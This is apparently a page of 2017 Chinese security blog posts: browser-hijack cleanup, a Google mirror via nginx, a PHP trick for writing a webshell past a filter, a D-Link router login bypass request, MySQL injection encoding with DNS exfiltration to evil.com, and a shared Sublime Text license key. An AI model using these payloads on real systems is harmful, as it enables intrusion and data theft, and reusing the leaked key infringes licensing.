使用WMITools清除劫持浏览器快捷方式的流氓vbs脚本 技术文章

昨天无聊下载了个小游戏玩...emmmm,结果今天发现我的浏览器都被强奸了...所有的浏览器快捷方式都被添加恶心的推广链接....shot_20170928_134504.png

http://hao643.com/?r=ggggg&m=e19

就是这个煞笔...开始以为是常规的注册表修改,使用pchunter注册表搜索常见的位置没有发现...那就Google搜索吧...发现了下面几个帖子,使用WMITools成功删除了此流氓...瞬间开心好多...估计也会有人不小心中招,在此记录一下,一是自己记性不好,备忘录.其次是万一博客读者遇到了看了这篇文章可以帮助到你们.也是一件好事.

下载WMITools:https://pan.lanzou.com/1741009/

然后去WMITools的安装目录,默认是:

C:\Program Files (x86)\WMI Tools\

直接以管理员的身份打开WMI Event Viewer,然后删除这个事件,取消任务栏的快捷方式,修改快捷方式里被添加的链接后,重新固定到任务栏即可...shot_20170928_135407.pngshot_20170928_135215.png

其他详细的解释请看下面的链接:

2008年的关于这个流氓方式的始末:http://bbs.myhack58.com/read.php?tid-185642-uid-1515.html

2012年一位前辈发现的这个方法:http://blog.sina.com.cn/s/blog_8627ac3c010195ri.html

Script Text里面就是vb脚本,具体的事例可以看这里:https://pastebin.com/x1da51N3

到此完毕.下次见.Mrxn_posted_on_mrxn.net_2017_09_28


admin 发布于  2017-9-28 13:57 

两种方式反代Google(镜像)--nginx反代和nginx扩展 Linux

写这篇文章的缘由是看见了我的博友Secret他写了一篇文章:

造轮子之谷歌镜像站 让我想起了 之前自己折腾过的nginx扩展镜像Google,效率比这个高,而且支持高级的配置,多级配合组成类似集群的功能,今天又折腾了一下,所以写一下过程,以方便后来需要的人.

声明:请在法律允许范围内合理使用搜索引擎,本文只作为技术笔记,不负任何责任.


  1. 更新库
  2. apt-get update
  3.  
  4. # 安装 gcc & git
  5. apt-get install build-essential git gcc g++ make -y
  6.  
  7. # nginx 官网: http://nginx.org/en/download.html
  8. wget "http://nginx.org/download/nginx-1.8.1.tar.gz"
  9.  
  10. # pcre 官网:http://www.pcre.org/
  11. wget "ftp://ftp.csx.cam.ac.uk/pub/software/programming/pcre/pcre-8.39.tar.gz"
  12.  
  13. # opessl 官网:https://www.openssl.org/
  14. wget "https://www.openssl.org/source/openssl-1.0.1t.tar.gz"
  15.  
  16. # zlib 官网:http://www.zlib.net/
  17. wget "http://zlib.net/zlib-1.2.8.tar.gz"
  18.  
  19. # 下载本扩展
  20. git clone https://github.com/cuber/ngx_http_google_filter_module
  21.  
  22. # 下载 substitutions 扩展
  23. git clone https://github.com/yaoweibin/ngx_http_substitutions_filter_module
  24.  
  25. # 解压缩
  26. tar xzvf nginx-1.8.1.tar.gz && tar xzvf pcre-8.39.tar.gz && tar xzvf openssl-1.0.1t.tar.gz && tar xzvf zlib-1.2.8.tar.gz
  27.  
  28. # 进入 nginx 源码目录
  29. cd nginx-1.8.1
  30.  
  31. # 创建 nginx 安装目录
  32. mkdir /usr/local/nginx-1.8.1

编译nginx及其扩展

  1. # 设置编译选项
  2. ./configure \
  3. --prefix=/usr/local/nginx-1.8.1 \
  4. --with-pcre=../pcre-8.39 \
  5. --with-openssl=../openssl-1.0.1t \
  6. --with-zlib=../zlib-1.2.8 \
  7. --with-http_ssl_module \
  8. --add-module=../ngx_http_google_filter_module \
  9. --add-module=../ngx_http_substitutions_filter_module
  10.  
  11. # 编译, 安装
  12. # 如果扩展有报错, 请发 issue 到
  13. # https://github.com/cuber/ngx_http_google_filter_module/issues
  14. make
  15. make install

 最后启动nginx,访问你的服务器IP或者是解析到上面的域名,即可看到nginx是否安装好.

ngx_http_google_filter_module项目github地址(他那里也有说明,不过是英文的,能看懂的可以直接去看原文):

https://github.com/cuber/ngx_http_google_filter_module


下面说一下nginx的配置:

  1. 简单的单机配置https,已经不支持http反代了
  1. server {
  2. server_name <你的域名>;
  3. listen 443;
  4.  
  5. ssl on;
  6. ssl_certificate <你的证书>;
  7. ssl_certificate_key <你的私钥>;
  8.  
  9. resolver 8.8.8.8;
  10. location / {
  11. google on;
  12. }
  13. }
  1. 进阶配置:配置多个服务器来缓解并发和出现验证码的频率

google_scholar 依赖于 google, 所以 google_scholar 无法独立使用. 由于谷歌学术近日升级, 强制使用 https 协议, 并且 ncr 已经支持, 所以不再需要指定谷歌学术的 tld

  1. location / {
  2. google on;
  3. google_scholar on;
  4. # 设置成德文,默认的语言是中文简体
  5. google_language "de";
  6. }

Upstreaming

upstream 减少一次域名解析的开销, 并且通过配置多个网段的 google ip 能够一定程度上减少被 google 机器人识别程序侦测到的几率 (弹验证码). upstream 参数要放在 http{} 中(也就是放在server{}配置外),注意这个参数只有你加了SSL证书是https的时候才会有效,否则会报错! 寻找这个参数的谷歌IP很简单,在你的VPS上面 ping www.google.com ,获得的IP把最后一位数 加1或者减1 就行了。

upstream www.google.com {
  server 173.194.38.1:443;
  server 173.194.38.2:443;
  server 173.194.38.3:443;
  server 173.194.38.4:443;
}

Proxy Protocol--代理保护

默认情况下,代理将使用https与后端服务器通信。您可以使用google_ssl_off强制某些域名回退到http协议。如果要通过没有ssl证书的另一个网关来代理某些域,这是非常有用的。

#
# eg. 
# i want to proxy the domain 'www.google.com' like this
# vps(hk) -> vps(us) -> google
#

#
# configuration of vps(hk)
#
server {
  # ...
  location / {
    google on;
    google_ssl_off "www.google.com";
  }
  # ...
}

upstream www.google.com {
  server < ip of vps(us) >:80;
}

#
# configuration of vps(us)
#
server {
  listen 80;
  server_name www.google.com;
  # ...
  location / {
    proxy_pass https://www.google.com;
  }
  # ...
}

所有的这些配置都是在全新的机器上配置,如果你已经配置好了nginx那么,也很容易,你只需要重新添加扩展动态编译进去就好了,编译完切记不要make install,只需要make编译,然后覆盖就行.

./configure \
--prefix=/usr/local/nginx \
--user=www \
--group=www \
--with-http_stub_status_module \
--with-http_v2_module \
--with-http_ssl_module \
--with-http_gzip_static_module \
.......
--add-module=/data/software/ngx_http_google_filter_module \
--add-module=/data/software/ngx_http_substitutions_filter_module

注意:你需要在nginx的源码包文件夹下面执行这个./configure命令,使用之前先使用 nginx-V 查看nginx版本下载相同版本的源码包,添加扩展的时候要注意路径,在最好复制的时候先停止nginx,同时以防万一,先拷贝一份nginx在覆盖.参考资料如下:

http://imshusheng.com/linux/173.html

http://www.ttlsa.com/nginx/how-to-install-nginx-third-modules/

http://coolnull.com/4245.html

就到这里了.下次再见:) 最后 欢迎访问我的Google镜像:gg.mrxn.net


admin 发布于  2017-9-24 07:38 

利用file_put_contents()函数写shell的小trick 技术文章

首先不了解PHP的file_put_contents()函数的自己去这里看一下官方给出的解释:

http://php.net/manual/zh/function.file-put-contents.php

 shot_20170920_210309.png

思路大致如下:

file_put_contents()在写入文件时的第二个参数可以传入数组,如果是数组的话,将被连接成字符串再进行写入。在正则匹配前,传入的是一个数组。得益于PHP的弱类型特性,数组会被强制转换成字符串,也就是ArrayArray肯定是满足正则\A[ _a-zA-Z0-9]+\z的,所以不会被拦截。这样就可以绕过类似检测“<?”之类的waf。

下面是测试的代码:

<?php
header("Content-type: text/html; charset=utf-8");
/*
测试file_put_contents数组写shell
modify:Mrxn
Blog:https://mrxn.net/
*/
echo "just a shell test!";
$text = $_GET['text'];
if (preg_match('[<>?]', $text)) {
die('erro!');
}
echo '<br>'.'下面就是text的内容:'.'<br>';
echo $text;
echo '<br>';
var_dump($text) ;
file_put_contents('config.php', $text);
?>

我们访问后,通过自己定义text可以实时得到反馈,便于测试:

shot_20170920_212134.png

代码检测了写入的内容是否存在“<”“>”“?”等字符。根据上面的trick,我们可以通过传入一个数组来达到写入shell的目的。可以看到虽然有个警告。但config.php确实被写入了。<? php phpinfo(); 如下所示:shot_20170920_212202.png

注:这个不是我发现的,是在P牛的小蜜圈发现的.只是自己亲自测试了一下,将代码略作修改,便于新手理解!)_我就是说我自己是个新手-_- 囧| 逃 :)

我们下次再见...

ps:友情链接里面,有看到的自己帮忙加上,一个月后没有加的我就删除了.

标签: shell php 函数

admin 发布于  2017-9-20 20:55 

sublime text3 3143注册码一枚 免费资源

注:有能力请购买正版授权!

 去年发布的那篇(https://mrxn.net/share/Sublime-text-3-Build-3103-license-key-share.html)的注册码都失效了,这次sublime更新后,UI界面这些都变了,也优化了不少bug,这次再次放出这枚注册码,方便学生朋友们使用:

—– BEGIN LICENSE —–
TwitterInc
200 User License
EA7E-890007
1D77F72E 390CDD93 4DCBA022 FAF60790
61AA12C0 A37081C5 D0316412 4584D136
94D7F7D4 95BC8C1C 527DA828 560BB037
D1EDDD8C AE7B379F 50C9D69D B35179EF
2FE898C4 8E4277A8 555CE714 E1FB0E43
D5D52613 C3D12E98 BC49967F 7652EED2
9D2D2E61 67610860 6D338B72 5CF95C69
E36B85CC 84991F19 7575D828 470A92AB
—— END LICENSE ——


admin 发布于  2017-9-17 21:29 

emlog在nginx下设置伪静态的方法 emlog

今天把停了半年的博客又重新放出来了.换了个机器,故环境变了,不是apache了,之前的.htaccess配置在nginx下就没用了.所以就重新找到了方法,记录一下在nginx下设置emlog的伪静态规则:

引入自定义emlog伪静态nginx规则文件。假如没有emlog.conf文件,你可以在nginx配置文件夹里新建一个emlog.conf文件。内容如下:

location / {
        index index.php index.html;
        if (!-e $request_filename)
        {
                rewrite ^/(.+)$ /index.php last;
        }
}

然后我们在nginx.conf引入这个伪静态规则即可.include emlog.conf;
然后重启nginx,service nginx reload .


admin 发布于  2017-9-17 19:56 

D-Link DIR-600M 150M无线路由器的认证绕过 网络安全

我只需要连接上路由器,然后查看路由器的网关地址,在浏览器打开网关地址,输入用户名admin,密码输入超过20个空格 即可成功绕过认证,进入路由管理后台.

PS:路由器固件是3.04.需要路由器为默认设置,没有修改用户名和设置特地IP才能访问管理界面.

如果你的路由器开放了广域网访问,那将很危险的.任何人都可以进入你得路由器.嗅探,窃听你得网络流量.

整个请求看起来应该类似这样的:

—————–ATTACKER REQUEST———————————–

POST /login.cgi HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/login.htm
Cookie: SessionID=
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

username=Admin&password=+++++++++++++++++++++++

++++++++++++++++++++++++++++++++++++++++++

++++++++++++++++++++++++++++++&submit.htm%3Flogin.htm=Send

——————–END here————————

下面附上视频链接:

1.https://www.youtube.com/watch?v=waIJKWCpyNQring

2.https://pan.lanzou.com/1171760

如果你有使用这个型号的路由器,请尽快升级,或者是设置值只能是局域网特定IP才能访问管理界面(需要配合静态路由功能设置).


admin 发布于  2017-5-22 10:29 

去掉linux文件中^M符号方法汇总 技术文章

在linux下,不可避免的会用VIM打开一些windows下编辑过的文本文件。我们会发现文件的每行结尾都会有一个^M符号,这是因为 DOS下的编辑器和Linux编辑器对文件行末的回车符处理不一致, 
对于回车符的定义: 
windows:0D0A 
unix\linux: 0A 
MAC: 0D 
比较快捷的去除这些符号的方法有这么几种: 
(1)是用VI的命令: 
    使用vi打开文本文件 
    vi dos.txt 
    命令模式下输入 
    :set fileformat=unix 
  :w 
(2) VI下使用正则表达式替换 
   g/\^M/s/\^M// 
    或者 
   %s/^M//g 
(3)使用sed 工具 
    sed ’s/^M//’ filename > tmp_filename 
(4)既然window下的回车符多了‘\r’,那么当然通过删除‘\r’ ,也可以实现: 
    tr -d '\r' 
(5)最后一个方法是本人最常用的方法,个人觉得最方便 
    在终端下敲命令: 
    $ dos2unix filename 
    直接转换成unix格式,就OK了!~  
ps:需要安装dos2unix.以centos为例:
sudo yum install dos2unix -y
其他平台参照相应命令安装即可食用.

标签: 分享 Linux

admin 发布于  2017-5-11 22:34 

MySQL注入绕过新思路 渗透测试

哈哈哈哈嘿嘿嘿嘿 今天带来MySQL的新姿势,姿势对不对,你们指教-_-

1.带内/带外

传统的Insert、Update是带内注入方式,直接从返回中提取到有用信息,例如时间盲注获取数据;带外注入则是间接的从外部服务器中提取数据,例如使用DNSLog获取数据。

2.字符串处理

先看看mysql对于字符串的处理,可以看到一个字符串是等于0的。0~1.jpg

进一步验证,将字符串和数字加起来。

1~1.jpg

再看看将字符串和MySQL支持的最大值加起来的结果。

2~1.jpg

可以看到,字符串返回的是DOUBLE数字,而将一个大值和一个DOUBLE值相加时,将会返回IEEE标准的DOUBLE精确值。

这时候我们可以通过或操作获取到最大的无符号BIGINT值。

3~1.jpg

3.字符串数字互转

到这里,我们可以想到一种注入方式,使用数字来传递,需要时再通过解码的方式显示字符串。

例如:

字符串 -> 数字

4~1.jpg

数字 -> 字符串

5~1.jpg

但是这里有个问题,前面提到MySQL的最大值,如果超过将不能成功解码,因此一个字符串的最大长度应该是8个字节,例如:

6~1.jpg

所以,我们可以使用mysql的substr()函数进行切割,例如:

7~1.jpg

4.编码注入

1)、获取表

select conv(hex(substr((select table_name frominformation_schema.tables where table_schema=schema() limit 0,1),1 + (n‐1) * 8,8*n)), 16, 10);8.jpg


2、获取列

select conv(hex(substr((select column_name frominformation_schema.columns where table_name='table name' limit 0,1),1 + (n‐1) * 8,8*n)), 16, 10);


3、Insert语句

insert into admin values ('admin', 'password');

insert into admin values ('admin','password'|conv(hex(substr(user(),1 + (n‐1) * 8, 8 * n)),16, 10);

10~1.jpg


5.使用DNSLog进行带外注入

9.jpg

select load_file(concat('\\\\',(selectdatabase()),'.test.evil.com\\foo'))

select load_file(concat('\\\\',(selectunhex(conv(8245931987826405219, 10, 16))),'.test.evil.com\\foo'))

11~1.jpg

6.想想绕过防护吧,皮卡丘.哈哈

1)、盲注使用DNS解析进行高效测试

2)、使用MySQL数字与字符串编码关系绕过相关防护


admin 发布于  2017-5-11 09:42 

两高 侵犯公民个人信息发布了 只允许海外访问 杂七杂八

最高人民法院 最高人民检察院

关于办理侵犯公民个人信息刑事案件适用法律若干问题的解释

《最高人民法院、最高人民检察院关于办理侵犯公民个人信息刑事案件适用法律若干问题的解释》已于2017年3月20日由最高人民法院审判委员会第1712次会议、2017年4月26日由最高人民检察院第十二届检察委员会第63次会议通过,现予公布,自2017年6月1日起施行。

最高人民法院 最高人民检察院

2017年5月8日


最高人民法院 最高人民检察院关于办理侵犯公民个人信息刑事案件适用法律若干问题的解释

  (2017年3月20日最高人民法院审判委员会第1712次会议、2017年4月26日最高人民检察院第十二届检察委员会第63次会议通过,自2017年6月1日起施行)

  为依法惩治侵犯公民个人信息犯罪活动,保护公民个人信息安全和合法权益,根据《中华人民共和国刑法》《中华人民共和国刑事诉讼法》的有关规定,现就办理此类刑事案件适用法律的若干问题解释如下:

  第一条 刑法第二百五十三条之一规定的“公民个人信息”,是指以电子或者其他方式记录的能够单独或者与其他信息结合识别特定自然人身份或者反映特定自然人活动情况的各种信息,包括姓名、身份证件号码、通信通讯联系方式、住址、账号密码、财产状况、行踪轨迹等。

  第二条 违反法律、行政法规、部门规章有关公民个人信息保护的规定的,应当认定为刑法第二百五十三条之一规定的“违反国家有关规定”。

  第三条 向特定人提供公民个人信息,以及通过信息网络或者其他途径发布公民个人信息的,应当认定为刑法第二百五十三条之一规定的“提供公民个人信息”。

  未经被收集者同意,将合法收集的公民个人信息向他人提供的,属于刑法第二百五十三条之一规定的“提供公民个人信息”,但是经过处理无法识别特定个人且不能复原的除外。

  第四条 违反国家有关规定,通过购买、收受、交换等方式获取公民个人信息,或者在履行职责、提供服务过程中收集公民个人信息的,属于刑法第二百五十三条之一第三款规定的“以其他方法非法获取公民个人信息”。

  第五条 非法获取、出售或者提供公民个人信息,具有下列情形之一的,应当认定为刑法第二百五十三条之一规定的“情节严重”:

  (一)出售或者提供行踪轨迹信息,被他人用于犯罪的;

  (二)知道或者应当知道他人利用公民个人信息实施犯罪,向其出售或者提供的;

  (三)非法获取、出售或者提供行踪轨迹信息、通信内容、征信信息、财产信息五十条以上的;

  (四)非法获取、出售或者提供住宿信息、通信记录、健康生理信息、交易信息等其他可能影响人身、财产安全的公民个人信息五百条以上的;

  (五)非法获取、出售或者提供第三项、第四项规定以外的公民个人信息五千条以上的;

  (六)数量未达到第三项至第五项规定标准,但是按相应比例合计达到有关数量标准的;

  (七)违法所得五千元以上的;

  (八)将在履行职责或者提供服务过程中获得的公民个人信息出售或者提供给他人,数量或者数额达到第三项至第七项规定标准一半以上的;

  (九)曾因侵犯公民个人信息受过刑事处罚或者二年内受过行政处罚,又非法获取、出售或者提供公民个人信息的;

  (十)其他情节严重的情形。

  实施前款规定的行为,具有下列情形之一的,应当认定为刑法第二百五十三条之一第一款规定的“情节特别严重”:

  (一)造成被害人死亡、重伤、精神失常或者被绑架等严重后果的;

  (二)造成重大经济损失或者恶劣社会影响的;

  (三)数量或者数额达到前款第三项至第八项规定标准十倍以上的;

  (四)其他情节特别严重的情形。

  第六条 为合法经营活动而非法购买、收受本解释第五条第一款第三项、第四项规定以外的公民个人信息,具有下列情形之一的,应当认定为刑法第二百五十三条之一规定的“情节严重”:

  (一)利用非法购买、收受的公民个人信息获利五万元以上的;

  (二)曾因侵犯公民个人信息受过刑事处罚或者二年内受过行政处罚,又非法购买、收受公民个人信息的;

  (三)其他情节严重的情形。

  实施前款规定的行为,将购买、收受的公民个人信息非法出售或者提供的,定罪量刑标准适用本解释第五条的规定。

  第七条 单位犯刑法第二百五十三条之一规定之罪的,依照本解释规定的相应自然人犯罪的定罪量刑标准,对直接负责的主管人员和其他直接责任人员定罪处罚,并对单位判处罚金。

  第八条 设立用于实施非法获取、出售或者提供公民个人信息违法犯罪活动的网站、通讯群组,情节严重的,应当依照刑法第二百八十七条之一的规定,以非法利用信息网络罪定罪处罚;同时构成侵犯公民个人信息罪的,依照侵犯公民个人信息罪定罪处罚。

  第九条 网络服务提供者拒不履行法律、行政法规规定的信息网络安全管理义务,经监管部门责令采取改正措施而拒不改正,致使用户的公民个人信息泄露,造成严重后果的,应当依照刑法第二百八十六条之一的规定,以拒不履行信息网络安全管理义务罪定罪处罚。

  第十条 实施侵犯公民个人信息犯罪,不属于“情节特别严重”,行为人系初犯,全部退赃,并确有悔罪表现的,可以认定为情节轻微,不起诉或者免予刑事处罚;确有必要判处刑罚的,应当从宽处罚。

  第十一条 非法获取公民个人信息后又出售或者提供的,公民个人信息的条数不重复计算。

  向不同单位或者个人分别出售、提供同一公民个人信息的,公民个人信息的条数累计计算。

  对批量公民个人信息的条数,根据查获的数量直接认定,但是有证据证明信息不真实或者重复的除外。

  第十二条 对于侵犯公民个人信息犯罪,应当综合考虑犯罪的危害程度、犯罪的违法所得数额以及被告人的前科情况、认罪悔罪态度等,依法判处罚金。罚金数额一般在违法所得的一倍以上五倍以下。

  第十三条 本解释自2017年6月1日起施行。


admin 发布于  2017-5-10 14:25 

shell编程报错:“syntax error near unexpected token `” 代码人生

因为测试exp...在Kali测试正常....不小心在windows下用sublime编辑了一下...再去linux运行就出错了..

运行报错syntax error near unexpected token `..

左看右看shell脚本没有问题,没有办法google搜索,发现一位仁兄讲的挺好,内容如下:

      用命令vi -b 打开你的SHELL脚本文件,你会。发现每行脚本最后多了个^M。

  那么接下来就要搞清楚这个^M是什么东东?

  long long ago.....  老式的电传打字机使用两个字符来另起新行。一个字符把滑动架移回首位 (称为回车,<CR>,ASCII码为0D),另一个字符把纸上移一行 (称为换行, <LF>,ASCII码为0A)。当计算机问世以后,存储器曾经非常昂贵。有些人就认定没必要用两个字符来表示行尾。UNIX 开发者决定他们可以用 一个字符来表示行尾,Linux沿袭Unix,也是<LF>。Apple 开发者规定了用<CR>。开发 MS-DOS以及Windows 的那些家伙则决定沿用老式的<CR><LF>。

  因为MS-DOS及Windows是回车+换行来表示换行,因此在Linux下用Vim查看在Windows下用VC写的代码,行尾后的“^M”符号,表示的是符。

  在Vim中解决这个问题,很简单,在Vim中利用替换功能就可以将“^M”都干掉,键入如下替换命令行:

  1)vi -b setup.sh

  2)在命令编辑行<就是: 按ESC键 然后shift+:冒号>输入:%s/^M//g

  注意:上述命令行中的“^M”符,不是“^”再加上“M”,而是由“Ctrl+v”、“Ctrl+M”键生成的。

  这样替换掉以后,保存就可以执行了。当然还有其他的替换方式比如:

  a.一些linux版本有 dos2unix 程序,可以用来祛除^M。

  b.cat filename1 | tr -d "/r" > newfile 去掉^M生成一个新文件,还有sed命令等,凡是可以替换的命令都是可以用来新生成一个文件的。

      按照上面所说的,删除^M后 ,shell脚本就运行正常.切记.sh脚本不要再Windows下编辑...各种诡异的错误...

PS:另外小计一下在测试exp时候,

执行curl -sSL 提示curl: (35) SSL connect error ,解决方法----

升级网络安全服务即可(centos):  yum update nss.




admin 发布于  2017-5-6 09:19